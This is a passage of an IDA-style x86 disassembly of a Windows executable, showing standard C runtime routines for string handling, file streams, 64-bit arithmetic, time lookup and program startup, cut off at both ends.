8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41D705 loc_41D6FD: ; CODE XREF: sub_41D6F1+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41D6FD loc_41D705: ; CODE XREF: sub_41D6F1+Aj mov edx, [esp+arg_4] push esi loc_41D70A: ; CODE XREF: sub_41D6F1+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41D70A pop esi retn sub_41D6F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D71B proc near ; CODE XREF: sub_40EA40+1A3p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_428144 ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_4281B0 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_4DE632 jnz short loc_41D780 mov ax, [ebp+var_18] cmp ax, word_4DE630 jnz short loc_41D780 mov ax, [ebp+var_1A] cmp ax, word_4DE62E jnz short loc_41D780 mov ax, [ebp+var_1E] cmp ax, word_4DE62A jnz short loc_41D780 mov ax, [ebp+var_20] cmp ax, word_4DE628 jnz short loc_41D780 mov eax, dword_4DE620 jmp short loc_41D7C5 ; --------------------------------------------------------------------------- loc_41D780: ; CODE XREF: sub_41D71B+28j ; sub_41D71B+35j ... lea eax, [ebp+var_CC] push eax call dword_4281AC ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_41D7AD cmp eax, 2 jnz short loc_41D7A9 cmp [ebp+var_32], 0 jz short loc_41D7A9 cmp [ebp+var_24], 0 jz short loc_41D7A9 push 1 pop eax jmp short loc_41D7B0 ; --------------------------------------------------------------------------- loc_41D7A9: ; CODE XREF: sub_41D71B+7Aj ; sub_41D71B+81j ... xor eax, eax jmp short loc_41D7B0 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D71B+75j or eax, 0FFFFFFFFh loc_41D7B0: ; CODE XREF: sub_41D71B+8Cj ; sub_41D71B+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DE628 movsd movsd movsd movsd pop edi mov dword_4DE620, eax pop esi loc_41D7C5: ; CODE XREF: sub_41D71B+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422D09 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D7F5 mov [ecx], eax locret_41D7F5: ; CODE XREF: sub_41D71B+D6j leave retn sub_41D71B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D800 proc near ; CODE XREF: sub_40EA40+19p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DE67C cmp dword ptr [eax+8], 0 jnz short loc_41D853 mov al, 0FFh mov edi, edi loc_41D81C: ; CODE XREF: sub_41D800+28j ; sub_41D800+48j or al, al jz short loc_41D84E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D81C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D81C sbb al, al sbb al, 0FFh loc_41D84E: ; CODE XREF: sub_41D800+1Ej movsx eax, al jmp short loc_41D887 ; --------------------------------------------------------------------------- loc_41D853: ; CODE XREF: sub_41D800+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D85C: ; CODE XREF: sub_41D800+68j ; sub_41D800+80j or al, al jz short loc_41D887 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D85C push eax push ebx call sub_41DDEC mov ebx, eax add esp, 4 call sub_41DDEC add esp, 4 cmp bl, al jz short loc_41D85C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D887: ; CODE XREF: sub_41D800+51j ; sub_41D800+5Ej pop ebx pop esi pop edi leave retn sub_41D800 endp ; =============== S U B R O U T I N E ======================================= sub_41D88C proc near ; CODE XREF: sub_412407+26Ep ; sub_412407+35Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D908 mov edi, [esp+8+arg_8] test edi, edi jz short loc_41D8AB cmp edi, 1 jz short loc_41D8AB cmp edi, 2 jnz short loc_41D908 loc_41D8AB: ; CODE XREF: sub_41D88C+13j ; sub_41D88C+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D8C2 push esi call sub_422E65 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_41D8C2: ; CODE XREF: sub_41D88C+27j push esi call sub_41E22B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D8D7 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D8EB ; --------------------------------------------------------------------------- loc_41D8D7: ; CODE XREF: sub_41D88C+42j test al, 1 jz short loc_41D8EB test al, 8 jz short loc_41D8EB test ah, 4 jnz short loc_41D8EB mov dword ptr [esi+18h], 200h loc_41D8EB: ; CODE XREF: sub_41D88C+49j ; sub_41D88C+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_422DCB add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D915 ; --------------------------------------------------------------------------- loc_41D908: ; CODE XREF: sub_41D88C+Bj ; sub_41D88C+1Dj mov dword_4DE5C4, 16h or eax, 0FFFFFFFFh loc_41D915: ; CODE XREF: sub_41D88C+7Aj pop edi pop esi retn sub_41D88C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D920 proc near ; CODE XREF: sub_4138D3+19Ep ; sub_414628+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D939 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D939: ; CODE XREF: sub_41D920+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D954 proc near ; CODE XREF: sub_416770+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D978 xor eax, eax jmp loc_41DA45 ; --------------------------------------------------------------------------- loc_41D978: ; CODE XREF: sub_41D954+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D98B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D992 ; --------------------------------------------------------------------------- loc_41D98B: ; CODE XREF: sub_41D954+2Dj mov [ebp+arg_C], 1000h loc_41D992: ; CODE XREF: sub_41D954+35j ; sub_41D954+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D9C6 mov eax, [esi+4] test eax, eax jz short loc_41D9C6 cmp ebx, eax mov edi, ebx jb short loc_41D9AC mov edi, eax loc_41D9AC: ; CODE XREF: sub_41D954+54j push edi push [ebp+arg_0] push dword ptr [esi] call near ptr sub_41C9B0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DA0C ; --------------------------------------------------------------------------- loc_41D9C6: ; CODE XREF: sub_41D954+47j ; sub_41D954+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DA11 test ecx, ecx jz short loc_41D9DA push esi call sub_41E22B test eax, eax pop ecx jnz short loc_41DA53 loc_41D9DA: ; CODE XREF: sub_41D954+79j cmp [ebp+arg_C], 0 jz short loc_41D9ED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D9EF ; --------------------------------------------------------------------------- loc_41D9ED: ; CODE XREF: sub_41D954+8Aj mov edi, ebx loc_41D9EF: ; CODE XREF: sub_41D954+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_422FBD add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DA4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DA4A loc_41DA0C: ; CODE XREF: sub_41D954+70j mov edi, [ebp+var_4] jmp short loc_41DA3A ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D954+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FC2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DA53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DA3A mov [ebp+arg_C], 1 loc_41DA3A: ; CODE XREF: sub_41D954+BBj ; sub_41D954+DDj test ebx, ebx jnz loc_41D992 mov eax, [ebp+arg_8] loc_41DA45: ; CODE XREF: sub_41D954+1Fj ; sub_41D954+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DA4A: ; CODE XREF: sub_41D954+ADj ; sub_41D954+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DA55 ; --------------------------------------------------------------------------- loc_41DA53: ; CODE XREF: sub_41D954+84j ; sub_41D954+CFj mov eax, edi loc_41DA55: ; CODE XREF: sub_41D954+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DA45 sub_41D954 endp ; =============== S U B R O U T I N E ======================================= sub_41DA5E proc near ; CODE XREF: sub_416EA7+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4280A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41DA7E call dword_428094 ; RtlGetLastWin32Error push eax call sub_420A7F pop ecx loc_41DA7A: ; CODE XREF: sub_41DA5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DA7E: ; CODE XREF: sub_41DA5E+Dj test al, 1 jz short loc_41DA9F test [esp+arg_4], 2 jz short loc_41DA9F mov dword_4DE5C4, 0Dh mov dword_4DE5C8, 5 jmp short loc_41DA7A ; --------------------------------------------------------------------------- loc_41DA9F: ; CODE XREF: sub_41DA5E+22j ; sub_41DA5E+29j xor eax, eax retn sub_41DA5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DAB0 proc near ; CODE XREF: sub_416EC1+3Fp ; sub_41AFEB+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DAD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DB13 ; --------------------------------------------------------------------------- loc_41DAD2: ; CODE XREF: sub_41DAB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DAE0: ; CODE XREF: sub_41DAB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DAE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DB0E cmp edx, [esp+8+arg_4] ja short loc_41DB0E jb short loc_41DB0F cmp eax, [esp+8+arg_0] jbe short loc_41DB0F loc_41DB0E: ; CODE XREF: sub_41DAB0+4Ej ; sub_41DAB0+54j dec esi loc_41DB0F: ; CODE XREF: sub_41DAB0+56j ; sub_41DAB0+5Cj xor edx, edx mov eax, esi loc_41DB13: ; CODE XREF: sub_41DAB0+20j pop esi pop ebx retn 10h sub_41DAB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_416EC1+2Dp ; sub_41AFEB+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DB41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DB91 ; --------------------------------------------------------------------------- loc_41DB41: ; CODE XREF: sub_41DB20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DB4F: ; CODE XREF: sub_41DB20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DB4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DB7A cmp edx, [esp+4+arg_4] ja short loc_41DB7A jb short loc_41DB82 cmp eax, [esp+4+arg_0] jbe short loc_41DB82 loc_41DB7A: ; CODE XREF: sub_41DB20+4Aj ; sub_41DB20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DB82: ; CODE XREF: sub_41DB20+52j ; sub_41DB20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DB91: ; CODE XREF: sub_41DB20+1Fj pop ebx retn 10h sub_41DB20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DBA0 proc near ; CODE XREF: sub_416FD0+5Fp ; sub_416FD0+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DBC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DBC1: ; CODE XREF: sub_41DBA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DBDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DBDD: ; CODE XREF: sub_41DBA0+27j or eax, eax jnz short loc_41DBF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DBF9: ; CODE XREF: sub_41DBA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DC07: ; CODE XREF: sub_41DBA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DC07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DC35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DC35 jb short loc_41DC36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DC36 loc_41DC35: ; CODE XREF: sub_41DBA0+85j ; sub_41DBA0+8Bj dec esi loc_41DC36: ; CODE XREF: sub_41DBA0+8Dj ; sub_41DBA0+93j xor edx, edx mov eax, esi loc_41DC3A: ; CODE XREF: sub_41DBA0+57j dec edi jnz short loc_41DC44 neg edx neg eax sbb edx, 0 loc_41DC44: ; CODE XREF: sub_41DBA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DBA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC4A proc near ; CODE XREF: sub_41767C+BFp ; sub_41767C+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DE684 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DC7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DCE5 loc_41DC66: ; CODE XREF: sub_41DC4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DC77 cmp cl, 7Ah jg short loc_41DC77 sub cl, 20h mov [edx], cl loc_41DC77: ; CODE XREF: sub_41DC4A+21j ; sub_41DC4A+26j inc edx cmp [edx], bl jnz short loc_41DC66 jmp short loc_41DCE5 ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_42316A mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DCD7 push edi call sub_41BB45 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DCD7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DE684 call sub_42316A add esp, 20h test eax, eax jz short loc_41DCD7 push [ebp+var_4] push [ebp+arg_0] call sub_41C520 pop ecx pop ecx loc_41DCD7: ; CODE XREF: sub_41DC4A+53j ; sub_41DC4A+61j ... push [ebp+var_4] call sub_41B721 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DCE5: ; CODE XREF: sub_41DC4A+1Aj ; sub_41DC4A+32j pop ebx leave retn sub_41DC4A endp ; =============== S U B R O U T I N E ======================================= sub_41DCE8 proc near ; CODE XREF: sub_417FDF+1A3p arg_0 = dword ptr 4 cmp dword_43F824, 1 jle short loc_41DCFF push 4 push [esp+4+arg_0] call sub_41FBB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DCFF: ; CODE XREF: sub_41DCE8+7j mov eax, [esp+arg_0] mov ecx, off_43F618 mov al, [ecx+eax*2] and eax, 4 retn sub_41DCE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DD10 proc near ; CODE XREF: sub_420BB0+76p ; sub_420BB0+88p ... arg_0 = dword ptr 4 cmp dword_43F824, 1 jle short loc_41DD27 push 8 push [esp+4+arg_0] call sub_41FBB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DD27: ; CODE XREF: sub_41DD10+7j mov eax, [esp+arg_0] mov ecx, off_43F618 mov al, [ecx+eax*2] and eax, 8 retn sub_41DD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD40 proc near ; CODE XREF: sub_4183DE+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DD8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DD8D test eax, 1 jz short loc_41DD6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DDBA inc esi inc edi dec eax jz short loc_41DD8A loc_41DD6D: ; CODE XREF: sub_41DD40+20j ; sub_41DD40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DDBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DDBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DD6D loc_41DD8A: ; CODE XREF: sub_41DD40+2Bj ; sub_41DD40+84j pop edi pop esi locret_41DD8C: ; CODE XREF: sub_41DD40+6j retn ; --------------------------------------------------------------------------- loc_41DD8D: ; CODE XREF: sub_41DD40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DDC2 repe cmpsd jz short loc_41DDC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DDB5 cmp ch, dh jnz short loc_41DDB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DDB5 cmp ch, dh loc_41DDB5: ; CODE XREF: sub_41DD40+63j ; sub_41DD40+67j ... mov eax, 0 loc_41DDBA: ; CODE XREF: sub_41DD40+26j ; sub_41DD40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DDC2: ; CODE XREF: sub_41DD40+55j ; sub_41DD40+59j test eax, eax jz short loc_41DD8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DDB5 dec eax jz short loc_41DDE9 cmp dh, ch jnz short loc_41DDB5 dec eax jz short loc_41DDE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DDB5 dec eax loc_41DDE9: ; CODE XREF: sub_41DD40+8Fj ; sub_41DD40+96j pop edi pop esi retn sub_41DD40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDEC proc near ; CODE XREF: sub_4186F5+6p ; sub_418713+48p ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DE684, 0 push ebx push esi push edi jnz short loc_41DE19 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41DEB2 cmp eax, 5Ah jg loc_41DEB2 add eax, 20h jmp loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DE19: ; CODE XREF: sub_41DDEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41DE4D cmp dword_43F824, esi jle short loc_41DE3B push esi push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_41DE45 ; --------------------------------------------------------------------------- loc_41DE3B: ; CODE XREF: sub_41DDEC+42j mov eax, off_43F618 mov al, [eax+ebx*2] and eax, esi loc_41DE45: ; CODE XREF: sub_41DDEC+4Dj test eax, eax jnz short loc_41DE4D loc_41DE49: ; CODE XREF: sub_41DDEC+ADj mov eax, ebx jmp short loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41DDEC+3Aj ; sub_41DDEC+5Bj mov edx, off_43F618 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41DE71 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41DE7A ; --------------------------------------------------------------------------- loc_41DE71: ; CODE XREF: sub_41DDEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41DE7A: ; CODE XREF: sub_41DDEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DE684 call sub_42316A add esp, 20h test eax, eax jz short loc_41DE49 cmp eax, esi jnz short loc_41DEA5 movzx eax, [ebp+var_4] jmp short loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DEA5: ; CODE XREF: sub_41DDEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41DEB2: ; CODE XREF: sub_41DDEC+16j ; sub_41DDEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DDEC endp ; =============== S U B R O U T I N E ======================================= sub_41DEB7 proc near ; CODE XREF: sub_418C2F+9Cp ; sub_419C11+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41DECE loc_41DEC4: ; CODE XREF: sub_41DEB7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41DEC4 loc_41DECE: ; CODE XREF: sub_41DEB7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41DEB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DED4 proc near ; CODE XREF: sub_418C2F+6Ep ; sub_418C2F+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41DFA1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41DFCE cmp dword_4DE684, esi jnz short loc_41DF25 cmp edi, esi jbe loc_41DFCE loc_41DF04: ; CODE XREF: sub_41DED4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41DFCE inc eax inc edx inc edx cmp eax, edi jb short loc_41DF04 jmp loc_41DFCE ; --------------------------------------------------------------------------- loc_41DF25: ; CODE XREF: sub_41DED4+26j mov ebx, [ebp+arg_4] mov esi, dword_4280E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DE694 call esi ; MultiByteToWideChar test eax, eax jnz loc_41DFCD call dword_428094 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41DF5F loc_41DF50: ; CODE XREF: sub_41DED4+CBj ; sub_41DED4+F7j mov dword_4DE5C4, 2Ah or eax, 0FFFFFFFFh jmp short loc_41DFCE ; --------------------------------------------------------------------------- loc_41DF5F: ; CODE XREF: sub_41DED4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41DF67: ; CODE XREF: sub_41DED4+B3j mov cl, [eax] test cl, cl jz short loc_41DF89 mov edx, off_43F618 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41DF7E inc eax loc_41DF7E: ; CODE XREF: sub_41DED4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41DF67 loc_41DF89: ; CODE XREF: sub_41DED4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DE694 call esi ; MultiByteToWideChar test eax, eax jnz short loc_41DFCE jmp short loc_41DF50 ; --------------------------------------------------------------------------- loc_41DFA1: ; CODE XREF: sub_41DED4+Fj cmp dword_4DE684, esi jnz short loc_41DFB4 push [ebp+arg_4] call sub_41B650 pop ecx jmp short loc_41DFCE ; --------------------------------------------------------------------------- loc_41DFB4: ; CODE XREF: sub_41DED4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DE694 call dword_4280E8 ; MultiByteToWideChar cmp eax, esi jz short loc_41DF50 loc_41DFCD: ; CODE XREF: sub_41DED4+6Bj dec eax loc_41DFCE: ; CODE XREF: sub_41DED4+1Aj ; sub_41DED4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41DED4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFD3 proc near var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428708 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_4281BC ; GetVersion xor edx, edx mov dl, ah mov dword_4DE5DC, edx mov ecx, eax and ecx, 0FFh mov dword_4DE5D8, ecx shl ecx, 8 add ecx, edx mov dword_4DE5D4, ecx shr eax, 10h mov dword_4DE5D0, eax xor esi, esi push esi call sub_41E472 pop ecx test eax, eax jnz short loc_41E03F push 1Ch call sub_41E0EE pop ecx loc_41E03F: ; CODE XREF: sub_41DFD3+62j mov [ebp+var_4], esi call sub_4239CD call dword_4281B8 ; GetCommandLineA mov dword_4DFC6C, eax call sub_42389B mov dword_4DE638, eax call sub_42364E call sub_423595 call sub_41BDF4 mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_4281B4 ; GetStartupInfoA call sub_42353D mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_41E08C movzx eax, [ebp+var_2C] jmp short loc_41E08F ; --------------------------------------------------------------------------- loc_41E08C: ; CODE XREF: sub_41DFD3+B1j push 0Ah pop eax loc_41E08F: ; CODE XREF: sub_41DFD3+B7j push eax push [ebp+var_64] push esi push esi call dword_4280A4 ; GetModuleHandleA push eax call sub_40121E mov [ebp+var_60], eax push eax call sub_41BE21 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_4233B9 pop ecx pop ecx retn sub_41DFD3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41BE32 ; =============== S U B R O U T I N E ======================================= sub_41E0C9 proc near ; CODE XREF: .XPack0:0041D6D8p ; sub_423595+4Ep ... arg_0 = dword ptr 4 cmp dword_4DE640, 1 jnz short loc_41E0D7 call sub_423C58 loc_41E0D7: ; CODE XREF: sub_41E0C9+7j push [esp+arg_0] call sub_423C91 push 